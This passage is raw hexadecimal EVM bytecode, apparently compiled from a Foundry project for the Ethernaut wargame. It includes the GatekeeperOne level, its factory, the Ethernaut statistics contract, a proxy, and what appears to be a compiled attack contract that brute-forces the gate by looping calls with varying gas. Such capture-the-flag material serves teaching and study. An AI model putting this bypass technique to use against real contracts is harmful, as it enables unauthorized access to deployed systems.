1f6985835162001d4e565b9450928501929085019060010162001f4a565b5092979650505050505050565b5f6020828403121562001f9a575f80fd5b813562001a458162001b64565b5f806040838503121562001fb9575f80fd5b823562001fc68162001b64565b9150602083013562001fd88162001b64565b809150509250929050565b634e487b7160e01b5f52603260045260245ffd5b5f67ffffffffffffffff82111562002013576200201362001c0a565b5060051b60200190565b5f6200202d62001cf28462001c7e565b905082815283838301111562002041575f80fd5b62001a4583602083018462001d2a565b5f82601f83011262002061575f80fd5b62001a45838351602085016200201d565b80516200207f8162001b64565b919050565b5f602080838503121562002096575f80fd5b825167ffffffffffffffff80821115620020ae575f80fd5b818501915085601f830112620020c2575f80fd5b8151620020d362001cf28262001ff7565b81815260059190911b83018401908481019088831115620020f2575f80fd5b8585015b83811015620021f3578051858111156200210e575f80fd5b86016060818c03601f1901121562002124575f80fd5b6200212e62001c1e565b88820151878111156200213f575f80fd5b8201603f81018d1362002150575f80fd5b898101516200216362001cf28262001ff7565b81815260059190911b8201604001908b8101908f83111562002183575f80fd5b6040840193505b82841015620021a55783518252928c0192908c01906200218a565b8452505050604082015187811115620021bc575f80fd5b620021cc8d8b8386010162002051565b8a83015250620021df6060830162002072565b6040820152845250918601918601620020f6565b5098975050505050505050565b634e487b7160e01b5f52601160045260245ffd5b818103818111156200168e576200168e62002200565b5f602082840312156200223b575f80fd5b815167ffffffffffffffff81111562002252575f80fd5b8201601f8101841362002263575f80fd5b62002274848251602084016200201d565b949350505050565b7f2f6f75742f00000000000000000000000000000000000000000000000000000081525f8351620022b581600585016020880162001d2a565b7f2e736f6c2f0000000000000000000000000000000000000000000000000000006005918401918201528351620022f481600a84016020880162001d2a565b7f2e6a736f6e000000000000000000000000000000000000000000000000000000600a9290910191820152600f01949350505050565b5f83516200233d81846020880162001d2a565b8351908301906200235381836020880162001d2a565b01949350505050565b602081525f62001a45602083018462001d4e565b600181811c908216806200238557607f821691505b602082108103620023a457634e487b7160e01b5f52602260045260245ffd5b50919050565b5f60208284031215620023bb575f80fd5b815162001a458162001b64565b5f60208284031215620023d9575f80fd5b5051919050565b808201808211156200168e576200168e62002200565b604081525f6200240a604083018562001d4e565b82810360208401526200241e818562001d4e565b95945050505050565b5f6020828403121562002438575f80fd5b815167ffffffffffffffff8111156200244f575f80fd5b62002274848285016200205156fe608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6107468061007a5f395ff3fe608060405260043610610058575f3560e01c80638da5cb5b116100415780638da5cb5b146100a2578063d38def5b146100be578063f2fde38b146100ed575f80fd5b8063715018a61461005c5780637726f77614610072575b5f80fd5b348015610067575f80fd5b5061007061010c565b005b610085610080366004610345565b61011f565b6040516001600160a01b0390911681526020015b60405180910390f35b3480156100ad575f80fd5b505f546001600160a01b0316610085565b3480156100c9575f80fd5b506100dd6100d8366004610367565b61014e565b6040519015158152602001610099565b3480156100f8575f80fd5b50610070610107366004610345565b6101cf565b610114610264565b61011d5f6102bd565b565b5f8060405161012d90610324565b604051809103905ff080158015610146573d5f803e3d5ffd5b509392505050565b5f80839050826001600160a01b0316816001600160a01b0316639db31d776040518163ffffffff1660e01b8152600401602060405180830381865afa158015610199573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906101bd919061039e565b6001600160a01b031614949350505050565b6101d7610264565b6001600160a01b0381166102585760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b610261816102bd565b50565b5f546001600160a01b0316331461011d5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161024f565b5f80546001600160a01b038381167fffffffffffffffffffffffff0000000000000000000000000000000000000000831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610357806103ba83390190565b6001600160a01b0381168114610261575f80fd5b5f60208284031215610355575f80fd5b813561036081610331565b9392505050565b5f8060408385031215610378575f80fd5b823561038381610331565b9150602083013561039381610331565b809150509250929050565b5f602082840312156103ae575f80fd5b81516103608161033156fe608060405234801561000f575f80fd5b5061033a8061001d5f395ff3fe608060405234801561000f575f80fd5b5060043610610034575f3560e01c80633370204e146100385780639db31d7714610060575b5f80fd5b61004b610046366004610286565b6100a4565b60405190151581526020015b60405180910390f35b5f5461007f9073ffffffffffffffffffffffffffffffffffffffff1681565b60405173ffffffffffffffffffffffffffffffffffffffff9091168152602001610057565b5f3233036100b0575f80fd5b611fff5a6100be91906102cc565b156100c7575f80fd5b818060c01c61ffff168160c01c63ffffffff16146101525760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f2070617274206f6e65000000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b60c081901c63ffffffff8116036101d15760405162461bcd60e51b815260206004820152602960248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074776f00000000000000000000000000000000000000000000006064820152608401610149565b3261ffff168160c01c63ffffffff16146102535760405162461bcd60e51b815260206004820152602b60248201527f476174656b65657065724f6e653a20696e76616c69642067617465546872656560448201527f20706172742074687265650000000000000000000000000000000000000000006064820152608401610149565b5f80547fffffffffffffffffffffffff000000000000000000000000000000000000000016321790556001915050919050565b5f60208284031215610296575f80fd5b81357fffffffffffffffff000000000000000000000000000000000000000000000000811681146102c5575f80fd5b9392505050565b5f826102ff577f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b50069056fea26469706673582212205420005dfc556417d569625d026a501d56b27af6c07caf3648e6877d9ba3995364736f6c63430008180033a2646970667358221220556ab9dd067bcc2c27b75c1efff3cc66e56fc9204b8ca7d14f8ff15a05b39b6364736f6c63430008180033608060405234801561000f575f80fd5b5060405161022838038061022883398101604081905261002e91610131565b5f61004261ffff3216640100000000610172565b60c01b90505f8160405160240161006991906001600160c01b031991909116815260200190565b60408051601f198184030181529190526020810180516001600160e01b03166319b8102760e11b17905290505f5b6078811015610128575f6001600160a01b0385166100b6836096610199565b6100c290615ffd610199565b846040516100d091906101b2565b5f604051808303815f8787f1925050503d805f811461010a576040519150601f19603f3d011682016040523d82523d5f602084013e61010f565b606091505b50509050801561011f5750610128565b50600101610097565b505050506101de565b5f60208284031215610141575f80fd5b81516001600160a01b0381168114610157575f80fd5b9392505050565b634e487b7160e01b5f52601160045260245ffd5b6001600160401b038181168382160190808211156101925761019261015e565b5092915050565b808201808211156101ac576101ac61015e565b92915050565b5f82515f5b818110156101d157602081860181015185830152016101b7565b505f920191825250919050565b603e806101ea5f395ff3fe60806040525f80fdfea26469706673582212207ad4c94c49031dad06ac481cd9ccb331b684d228e2de87d1c63e2eb4cc347e5164736f6c63430008180033608060405234801561000f575f80fd5b506100193361001e565b61006d565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b610a6b8061007a5f395ff3fe6080604052600436106100ad575f3560e01c8063be117dfd11610066578063cf0046951161004c578063cf004695146101eb578063dfc86b1714610229578063f2fde38b1461023c575f80fd5b8063be117dfd146101ad578063c882d7c2146101cc575f80fd5b8063715018a611610096578063715018a61461014a5780638da5cb5b1461015e57806395e272bd1461018e575f80fd5b8063202023d4146100b15780634f17afd8146100d2575b5f80fd5b3480156100bc575f80fd5b506100d06100cb3660046109d9565b61025b565b005b3480156100dd575f80fd5b5061011d6100ec3660046109d9565b60036020525f9081526040902080546001909101546001600160a01b0391821691811690600160a01b900460ff1683565b604080516001600160a01b0394851681529390921660208401521515908201526060015b60405180910390f35b348015610155575f80fd5b506100d06102f6565b348015610169575f80fd5b505f546001600160a01b03165b6040516001600160a01b039091168152602001610141565b348015610199575f80fd5b50600154610176906001600160a01b031681565b3480156101b8575f80fd5b506100d06101c73660046109d9565b610309565b3480156101d7575f80fd5b506100d06101e63660046109d9565b610340565b3480156101f6575f80fd5b506102196102053660046109d9565b60026020525f908152604090205460ff1681565b6040519015158152602001610141565b6100d06102373660046109d9565b610642565b348015610247575f80fd5b506100d06102563660046109d9565b610880565b610263610910565b6001600160a01b038181165f8181526002602052604090819020805460ff191660019081179091555490517fcd819a6f00000000000000000000000000000000000000000000000000000000815260048101929092529091169063cd819a6f906024015f604051808303815f87803b1580156102dd575f80fd5b505af11580156102ef573d5f803e3d5ffd5b5050505050565b6102fe610910565b6103075f610969565b565b610311610910565b6001805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0392909216919091179055565b6001600160a01b038082165f908152600360205260409020805490911633146103d65760405162461bcd60e51b815260206004820152603060248201527f5468697320696e7374616e636520646f65736e27742062656c6f6e6720746f2060448201527f7468652063757272656e7420757365720000000000000000000000000000000060648201526084015b60405180910390fd5b6001810154600160a01b900460ff16156104325760405162461bcd60e51b815260206004820181905260248201527f4c6576656c20686173206265656e20636f6d706c6574656420616c726561647960448201526064016103cd565b60018101546040517fd38def5b0000000000000000000000000000000000000000000000000000000081526001600160a01b0384811660048301523360248301529091169063d38def5b906044016020604051808303815f875af115801561049c573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906104c091906109fb565b156105b95760018181018054600160a01b7fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff82161790915590546040517f2c038c320000000000000000000000000000000000000000000000000000000081526001600160a01b0385811660048301529283166024820152336044820152911690632c038c32906064015f604051808303815f87803b158015610561575f80fd5b505af1158015610573573d5f803e3d5ffd5b5050505060018101546040516001600160a01b039182169184169033907f5038a30b900118d4e513ba62ebd647a96726a6f81b8fda73c21e9da45df5423d905f90a45050565b60018054908201546040517fd0f191e00000000000000000000000000000000000000000000000000000000081526001600160a01b038581166004830152918216602482015233604482015291169063d0f191e0906064015f604051808303815f87803b158015610628575f80fd5b505af115801561063a573d5f803e3d5ffd5b505050505050565b6001600160a01b0381165f9081526002602052604090205460ff166106a95760405162461bcd60e51b815260206004820152601960248201527f54686973206c6576656c20646f65736e2774206578697374730000000000000060448201526064016103cd565b6040517f7726f7760000000000000000000000000000000000000000000000000000000081523360048201525f906001600160a01b03831690637726f77690349060240160206040518083038185885af1158015610709573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061072e9190610a1a565b60408051606081018252338082526001600160a01b0386811660208085018281525f8688018181528986168083526003909452908890209651875473ffffffffffffffffffffffffffffffffffffffff191690861617875590516001968701805492519186167fffffffffffffffffffffff00000000000000000000000000000000000000000090931692909217600160a01b91151591909102179055935494517f7e4326d3000000000000000000000000000000000000000000000000000000008152600481019490945260248401526044830191909152929350911690637e4326d3906064015f604051808303815f87803b15801561082d575f80fd5b505af115801561083f573d5f803e3d5ffd5b50506040516001600160a01b0380861693508416915033907f8be8bd7b4324b3d47aca5c3f64cb70e8f645e6fe94da668699951658f6384179905f90a45050565b610888610910565b6001600160a01b0381166109045760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201527f646472657373000000000000000000000000000000000000000000000000000060648201526084016103cd565b61090d81610969565b50565b5f546001600160a01b031633146103075760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657260448201526064016103cd565b5f80546001600160a01b0383811673ffffffffffffffffffffffffffffffffffffffff19831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6001600160a01b038116811461090d575f80fd5b5f602082840312156109e9575f80fd5b81356109f4816109c5565b9392505050565b5f60208284031215610a0b575f80fd5b815180151581146109f4575f80fd5b5f60208284031215610a2a575f80fd5b81516109f4816109c556fea2646970667358221220f875e80df3dbb1bbf8a1ba93e5adadf18e3885d13abc24020d489fb4c369f37264736f6c63430008180033608060405234801561000f575f80fd5b50611e5d8061001d5f395ff3fe608060405234801561000f575f80fd5b50600436106101bb575f3560e01c80639cbf280d116100f3578063d0f191e011610093578063e2d8716f1161006e578063e2d8716f146103ca578063f3a39909146103dd578063f71d96cb14610408578063fb66d7ab1461041b575f80fd5b8063d0f191e014610391578063d844f6a4146103a4578063e041ae9b146103b7575f80fd5b8063ba5d8082116100ce578063ba5d80821461031d578063bc3086a214610358578063c4d66de81461036b578063cd819a6f1461037e575f80fd5b80639cbf280d146102c7578063a7e1acdf146102da578063b2596a671461030a575f80fd5b80637cbe8d041161015e5780637e4326d3116101395780637e4326d3146102865780638b146ad6146102995780638dc03535146102ac578063900f09ac146102bf575f80fd5b80637cbe8d041461026e5780637ceb9533146102765780637e0ca04f1461027e575f80fd5b80633aa46685116101995780633aa466851461020d5780633d9aeaef14610235578063763fdb45146102485780637a9b6dda1461025b575f80fd5b806322ae77ec146101bf5780632c038c32146101e557806336204198146101fa575b5f80fd5b6101d26101cd366004611cab565b610423565b6040519081526020015b60405180910390f35b6101f86101f3366004611cdc565b61054f565b005b6101d2610208366004611d1c565b6109b1565b6101d261021b366004611d1c565b6001600160a01b03165f9081526010602052604090205490565b6101d2610243366004611d1c565b610a2d565b6101d2610256366004611d1c565b610aab565b6101d2610269366004611d1c565b610b27565b6003546101d2565b6005546101d2565b6002546101d2565b6101f8610294366004611cdc565b610ba3565b6101d26102a7366004611d1c565b610f29565b6101d26102ba366004611cab565b610fa5565b6004546101d2565b6101d26102d5366004611d1c565b611125565b5f546102f2906201000090046001600160a01b031681565b6040516001600160a01b0390911681526020016101dc565b6102f2610318366004611d35565b6111a0565b61034861032b366004611d1c565b6001600160a01b03165f908152600e602052604090205460ff1690565b60405190151581526020016101dc565b6101d2610366366004611d1c565b6111c8565b6101f8610379366004611d1c565b611257565b6101f861038c366004611d1c565b6113a1565b6101f861039f366004611cdc565b6114f0565b6101d26103b2366004611d4c565b61183e565b6101d26103c5366004611d1c565b6119c6565b6103486103d8366004611cab565b611a44565b6103486103eb366004611d1c565b6001600160a01b03165f908152600f602052604090205460ff1690565b6102f2610416366004611d35565b611b3f565b6001546101d2565b6001600160a01b0381165f908152600e6020526040812054829060ff166104885760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b60448201526064015b60405180910390fd5b836104aa816001600160a01b03165f908152600f602052604090205460ff1690565b6104ec5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038481165f908152600d6020908152604080832089851684529091529020541661051d575f610546565b6001600160a01b038085165f908152600d60209081526040808320938916835292905220600301545b95945050505050565b5f546201000090046001600160a01b031633146105bc5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b816105de816001600160a01b03165f908152600f602052604090205460ff1690565b6106205760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b81610642816001600160a01b03165f908152600e602052604090205460ff1690565b6106855760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166107065760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146107905760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff161561080c5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600c6020908152604080832093881683529290529081205490036108df576001600160a01b0383165f90815260066020526040812080549161085c83611d99565b90915550506001600160a01b038084165f818152600c602090815260408083209489168352938152838220429055918152600690915290812054906108a2858784611b4e565b90508181866001600160a01b03167f18f89fb58208351d054bc0794e723a333ae0a74acd73825a9f31d89af0c6755160405160405180910390a450505b6001600160a01b038084165f908152600d6020908152604080832093881680845293825280832060038101805460018181018355918652848620429101819055600283015594845280547fffffffffffffffffffffff00ffffffffffffffffffffffffffffffffffffffff16600160a01b179055600a909152812090910180549161096983611d99565b909155505060048054905f61097d83611d99565b90915550506001600160a01b0383165f9081526008602052604081208054916109a583611d99565b91905055505050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610a115760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526006602052604090205490565b6001600160a01b0381165f908152600f6020526040812054829060ff16610a8c5760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206001015490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b0b5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526008602052604090205490565b6001600160a01b0381165f908152600e6020526040812054829060ff16610b875760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526009602052604090205490565b5f546201000090046001600160a01b03163314610c105760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b81610c32816001600160a01b03165f908152600f602052604090205460ff1690565b610c745760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b0382165f908152600e602052604090205460ff16610d00576001805480820182557fb10e2d527612073b26eecdfd717e6a320cf44b4afac2b0732d9fcbe2b7fa0cf601805473ffffffffffffffffffffffffffffffffffffffff19166001600160a01b0385169081179091555f908152600e60205260409020805460ff191690911790555b6001600160a01b038281165f908152600d60209081526040808320878516845290915290205416610d53576001600160a01b038083165f908152600b602090815260408083209387168352929052204290555b6040805160a0810182526001600160a01b0380871682525f60208084018290524284860152606084018290528683168252600d815284822092881682529190915291822060030154909160808301919003610dbb57604080515f815260208101909152610e2b565b6001600160a01b038085165f908152600d6020908152604080832093891683529281529082902060030180548351818402810184019094528084529091830182828015610e2557602002820191905f5260205f20905b815481526020019060010190808311610e11575b50505050505b90526001600160a01b038084165f908152600d60209081526040808320888516845282529182902084518154868401511515600160a01b027fffffffffffffffffffffff00000000000000000000000000000000000000000090911691909516179390931783559083015160018301556060830151600283015560808301518051610ebc9260038501920190611c33565b5050506001600160a01b0383165f908152600a60205260408120805491610ee283611d99565b909155505060038054905f610ef683611d99565b90915550506001600160a01b0382165f908152600760205260408120805491610f1e83611d99565b919050555050505050565b6001600160a01b0381165f908152600e6020526040812054829060ff16610f895760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b50506001600160a01b03165f9081526007602052604090205490565b6001600160a01b0382165f908152600e6020526040812054839060ff166110055760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611027816001600160a01b03165f908152600f602052604090205460ff1690565b6110695760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038086165f908152600c6020908152604080832093881683529290529081205490036110de5760405162461bcd60e51b815260206004820152601360248201527f4c6576656c206e6f7420636f6d706c6574656400000000000000000000000000604482015260640161047f565b6001600160a01b038086165f818152600b6020908152604080832094891680845294825280832054938352600c825280832094835293905291909120546105469190611db1565b6001600160a01b0381165f908152600f6020526040812054829060ff166111845760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090205490565b600281815481106111af575f80fd5b5f918252602090912001546001600160a01b0316905081565b6001600160a01b0381165f908152600e6020526040812054829060ff166112285760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b600254611234846109b1565b61124690670de0b6b3a7640000611dca565b6112509190611de1565b9392505050565b5f54610100900460ff161580801561127557505f54600160ff909116105b8061128e5750303b15801561128e57505f5460ff166001145b6113005760405162461bcd60e51b815260206004820152602e60248201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160448201527f647920696e697469616c697a6564000000000000000000000000000000000000606482015260840161047f565b5f805460ff191660011790558015611321575f805461ff0019166101001790555b5f80547fffffffffffffffffffff0000000000000000000000000000000000000000ffff16620100006001600160a01b03851602179055801561139d575f805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050565b806113c3816001600160a01b03165f908152600f602052604090205460ff1690565b156114105760405162461bcd60e51b815260206004820152601460248201527f4c6576656c20616c726561647920657869737473000000000000000000000000604482015260640161047f565b5f546201000090046001600160a01b0316331461147d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b506001600160a01b03165f818152600f60205260408120805460ff191660019081179091556002805491820181559091527f405787fa12a823e0f2b7631cc41b3ba8828b3321ca811111fa75cd3aa3bb5ace01805473ffffffffffffffffffffffffffffffffffffffff19169091179055565b5f546201000090046001600160a01b0316331461155d5760405162461bcd60e51b815260206004820152602560248201527f4f6e6c792045746865726e6175742063616e2063616c6c20746869732066756e60448201526431ba34b7b760d91b606482015260840161047f565b8161157f816001600160a01b03165f908152600f602052604090205460ff1690565b6115c15760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b816115e3816001600160a01b03165f908152600e602052604090205460ff1690565b6116265760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b6001600160a01b038381165f908152600d602090815260408083208885168452909152902054166116a75760405162461bcd60e51b815260206004820152602560248201527f496e7374616e636520666f7220746865206c6576656c206973206e6f7420637260448201526419585d195960da1b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832088851684529091529020548116908616146117315760405162461bcd60e51b815260206004820152602960248201527f5375626d697474656420696e7374616e6365206973206e6f74207468652063726044820152686561746564206f6e6560b81b606482015260840161047f565b6001600160a01b038381165f908152600d6020908152604080832093881683529290522054600160a01b900460ff16156117ad5760405162461bcd60e51b815260206004820152601760248201527f4c6576656c20616c726561647920636f6d706c65746564000000000000000000604482015260640161047f565b6001600160a01b038084165f908152600d60209081526040808320938816808452938252808320600301805460018101825590845282842042910155928252600a905290812060020180549161180283611d99565b909155505060058054905f61181683611d99565b90915550506001600160a01b0383165f9081526009602052604081208054916109a583611d99565b6001600160a01b0383165f908152600e6020526040812054849060ff1661189e5760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b836118c0816001600160a01b03165f908152600f602052604090205460ff1690565b6119025760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b6001600160a01b038087165f908152600d60209081526040808320938916835292905220600301548411156119795760405162461bcd60e51b815260206004820152601060248201527f496e646578206f7574626f756e64656400000000000000000000000000000000604482015260640161047f565b6001600160a01b038087165f908152600d602090815260408083209389168352929052206003018054859081106119b2576119b2611e00565b905f5260205f200154925050509392505050565b6001600160a01b0381165f908152600f6020526040812054829060ff16611a255760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b50506001600160a01b03165f908152600a602052604090206002015490565b6001600160a01b0382165f908152600e6020526040812054839060ff16611aa45760405162461bcd60e51b8152602060048201526014602482015273141b185e595c88191bd95cdb89dd08195e1a5cdd60621b604482015260640161047f565b82611ac6816001600160a01b03165f908152600f602052604090205460ff1690565b611b085760405162461bcd60e51b815260206004820152601360248201527213195d995b08191bd95cdb89dd08195e1a5cdd606a1b604482015260640161047f565b5050506001600160a01b039182165f908152600d60209081526040808320939094168252919091522054600160a01b900460ff1690565b600181815481106111af575f80fd5b6001600160a01b038084165f81815260106020908152604080832054600b835281842095881680855295835281842054948452600c83528184209584529490915281205490929183918291611ba291611db1565b6001600160a01b0388165f9081526010602052604081205491925003611be1576001600160a01b0387165f908152601060205260409020819055611c29565b8481611bee600183611db1565b611bf89086611dca565b611c029190611e14565b611c0c9190611de1565b6001600160a01b0388165f90815260106020526040902081905591505b5095945050505050565b828054828255905f5260205f20908101928215611c6c579160200282015b82811115611c6c578251825591602001919060010190611c51565b50611c78929150611c7c565b5090565b5b80821115611c78575f8155600101611c7d565b80356001600160a01b0381168114611ca6575f80fd5b919050565b5f8060408385031215611cbc575f80fd5b611cc583611c90565b9150611cd360208401611c90565b90509250929050565b5f805f60608486031215611cee575f80fd5b611cf784611c90565b9250611d0560208501611c90565b9150611d1360408501611c90565b90509250925092565b5f60208284031215611d2c575f80fd5b61125082611c90565b5f60208284031215611d45575f80fd5b5035919050565b5f805f60608486031215611d5e575f80fd5b611d6784611c90565b9250611d7560208501611c90565b9150604084013590509250925092565b634e487b7160e01b5f52601160045260245ffd5b5f60018201611daa57611daa611d85565b5060010190565b81810381811115611dc457611dc4611d85565b92915050565b8082028115828204841417611dc457611dc4611d85565b5f82611dfb57634e487b7160e01b5f52601260045260245ffd5b500490565b634e487b7160e01b5f52603260045260245ffd5b80820180821115611dc457611dc4611d8556fea264697066735822122066af37f02a1e446ad91bfc4bf9b0dd5322bb220097108143b357e6128534eb5464736f6c63430008180033608060405234801562000010575f80fd5b5060405162000daa38038062000daa83398101604081905262000033916200042b565b6040516001600160a01b03821660248201528390839060440160408051601f198184030181529190526020810180516001600160e01b0390811663189acdbd60e31b17909152839082906200008f90839083905f90620000a916565b506200009d905082620000da565b505050505050620004e7565b620000b4836200014b565b5f82511180620000c15750805b15620000d557620000d383836200018c565b505b505050565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6200011b5f8051602062000d63833981519152546001600160a01b031690565b604080516001600160a01b03928316815291841660208301520160405180910390a16200014881620001bb565b50565b620001568162000258565b6040516001600160a01b038216907fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b905f90a250565b6060620001b4838360405180606001604052806027815260200162000d8360279139620002ef565b9392505050565b6001600160a01b038116620002265760405162461bcd60e51b815260206004820152602660248201527f455243313936373a206e65772061646d696e20697320746865207a65726f206160448201526564647265737360d01b60648201526084015b60405180910390fd5b805f8051602062000d638339815191525b80546001600160a01b0319166001600160a01b039290921691909117905550565b6001600160a01b0381163b620002c75760405162461bcd60e51b815260206004820152602d60248201527f455243313936373a206e657720696d706c656d656e746174696f6e206973206e60448201526c1bdd08184818dbdb9d1c9858dd609a1b60648201526084016200021d565b807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc62000237565b60606001600160a01b0384163b620003595760405162461bcd60e51b815260206004820152602660248201527f416464726573733a2064656c65676174652063616c6c20746f206e6f6e2d636f6044820152651b9d1c9858dd60d21b60648201526084016200021d565b5f80856001600160a01b03168560405162000375919062000496565b5f60405180830381855af49150503d805f8114620003af576040519150601f19603f3d011682016040523d82523d5f602084013e620003b4565b606091505b509092509050620003c7828286620003d1565b9695505050505050565b60608315620003e2575081620001b4565b825115620003f35782518084602001fd5b8160405162461bcd60e51b81526004016200021d9190620004b3565b80516001600160a01b038116811462000426575f80fd5b919050565b5f805f606084860312156200043e575f80fd5b62000449846200040f565b925062000459602085016200040f565b915062000469604085016200040f565b90509250925092565b5f5b838110156200048e57818101518382015260200162000474565b50505f910152565b5f8251620004a981846020870162000472565b9190910192915050565b602081525f8251806020840152620004d381604085016020870162000472565b601f01601f19169190910160400192915050565b61086e80620004f55f395ff3fe60806040526004361061005d575f3560e01c80635c60da1b116100425780635c60da1b146100a65780638f283970146100d6578063f851a440146100f55761006c565b80633659cfe6146100745780634f1ef286146100935761006c565b3661006c5761006a610109565b005b61006a610109565b34801561007f575f80fd5b5061006a61008e36600461070d565b610123565b61006a6100a1366004610726565b61015e565b3480156100b1575f80fd5b506100ba6101c4565b6040516001600160a01b03909116815260200160405180910390f35b3480156100e1575f80fd5b5061006a6100f036600461070d565b6101f4565b348015610100575f80fd5b506100ba610214565b610111610234565b61012161011c6102e4565b6102ed565b565b61012b61030b565b6001600160a01b03163303610156576101538160405180602001604052805f8152505f61033d565b50565b610153610109565b61016661030b565b6001600160a01b031633036101bc576101b78383838080601f0160208091040260200160405190810160405280939291908181526020018383808284375f920191909152506001925061033d915050565b505050565b6101b7610109565b5f6101cd61030b565b6001600160a01b031633036101e9576101e46102e4565b905090565b6101f1610109565b90565b6101fc61030b565b6001600160a01b031633036101565761015381610367565b5f61021d61030b565b6001600160a01b031633036101e9576101e461030b565b61023c61030b565b6001600160a01b031633036101215760405162461bcd60e51b815260206004820152604260248201527f5472616e73706172656e745570677261646561626c6550726f78793a2061646d60448201527f696e2063616e6e6f742066616c6c6261636b20746f2070726f7879207461726760648201527f6574000000000000000000000000000000000000000000000000000000000000608482015260a4015b60405180910390fd5b5f6101e46103bb565b365f80375f80365f845af43d5f803e808015610307573d5ff35b3d5ffd5b5f7fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d61035b546001600160a01b0316919050565b610346836103e2565b5f825111806103525750805b156101b7576103618383610421565b50505050565b7f7